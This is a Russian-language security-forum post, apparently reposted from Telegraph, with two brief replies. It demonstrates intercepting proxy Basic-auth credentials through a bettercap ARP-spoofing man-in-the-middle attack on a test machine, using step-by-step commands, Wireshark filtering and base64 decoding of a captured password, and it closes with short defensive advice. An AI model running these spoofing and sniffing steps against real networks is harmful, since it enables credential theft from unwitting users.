Загрузка...

Взлом Proxy-сервера (MitM HTTP/HTTPS)

Тема в разделе Безопасность создана пользователем maks28ru 23 сен 2022. 847 просмотров

Загрузка...
  1. maks28ru
    maks28ru Автор темы 23 сен 2022 Кура это миха 27 11 янв 2022
    [IMG]
    В этой статье мы рассмотрим атаки на Proxy-сервер методом MiTM.

    Если совсем коротко, то все проблемы с безопасностью ******-серверов восходят к Basic и Digest аутентификации, которая обычно на них и применяется; и HTTPS ****** в этом плане ничуть не безопаснее.

    MiTM против Proxy:
    Задача: проверить, насколько ******-сервер подвержен перехвату пароля, а также проверить, насколько HTTPS ****** безопаснее. Проверить возможность понижение подключения через ******-сервер с HTTPS до HTTP.

    Для этого выполним атаку человек-посередине в отношении тестового компьютера, на котором пользователь использует веб-браузер выполняющий подключения через ******-сервер.

    Для выполнения атаки человек-посередине будем использовать bettercap:

    sudo bettercap


    Сканируем сеть:

    net.show

    net.probe on


    net.show
    [IMG]

    Тестовый компьютер имеет IP адрес 192.168.1.34, запускаем в отношении него атаку ARP-спуфинг, благодаря которой компьютер-жертва будет считать, что теперь шлюзом (роутером) является машина атакующего и обмен трафика теперь будет происходить для компьютера жертвы через компьютер атакующего:

    set arp.spoof.targets 192.168.1.34

    arp.spoof on


    Настроим сохранение трафика в файл http-proxy.pcap (для последующего анализа) и запустим снифинг:

    set net.sniff.output /home/mial/http-proxy.pcap

    net.sniff on


    Дождёмся, когда на тестовом компьютере будет открыт любой сайт через ****** сервер.

    Откроем файл http-proxy.pcap в Wireshark и воспользуемся следующим фильтром:

    http.proxy_authorization
    [IMG]

    Можно увидеть строку, переданную как простой текст:

    Proxy-Authorization: Basic cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn\r\n


    Переданная строка — это имя пользователя и пароль от ****** сервера, закодированные в Base64.

    Для декодирования используем следующую команду:

    echo cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn | base64 -d


    Вывод:
    proxy_user:LkdfLl5kj7Leg

    proxy_user — это имя пользователя, а LkdfLl5kj7Leg — это пароль от ******-сервера. То есть не смотря на сложность пароля, его очень легко перехватить и расшифровать.


    Теперь на тестовом компьютере в веб-браузере мы удаляем настройки HTTP ****** и включаем HTTPS ******. Идея в том, что HTTPS подразумевает зашифрованные соединения и, возможно, пароль не будет передаваться в открытом виде:
    [IMG]

    Настраиваем сохранять захваченный трафик в файл https-proxy.pcap, для этого перезапускаем сниффинг:

    net.sniff off

    set net.sniff.output /home/mial/https-proxy.pcap

    net.sniff on


    Откроем файл https-proxy.pcap в Wireshark и вновь воспользуемся фильтром:

    http.proxy_authorization


    Как видно по скриншоту, HTTPS-****** также передаёт пароль в виде простого текста:
    [IMG]
    Разница между HTTP и HTTPS ****** есть, но только не в процессе аутентификации — в любом случае пароль передаётся в виде простого текста.



    Защита:
    1. Никогда не используйте Basic аутентификацию;


    2. Вместо ******-сервера используйте ***.

    источник:https://telegra.ph/Vzlom-Proxy-servera-MitM-HTTPHTTPS-09-15
     
    23 сен 2022 Изменено
  2. OrangeJuice
    OrangeJuice 23 сен 2022 286 8 окт 2021
    годная статья, мне понравилась
     
  3. xstd
    xstd 23 сен 2022 я хуе. 598 28 фев 2022
    поставил симпу, увидел источник, убрал симпу
     
Top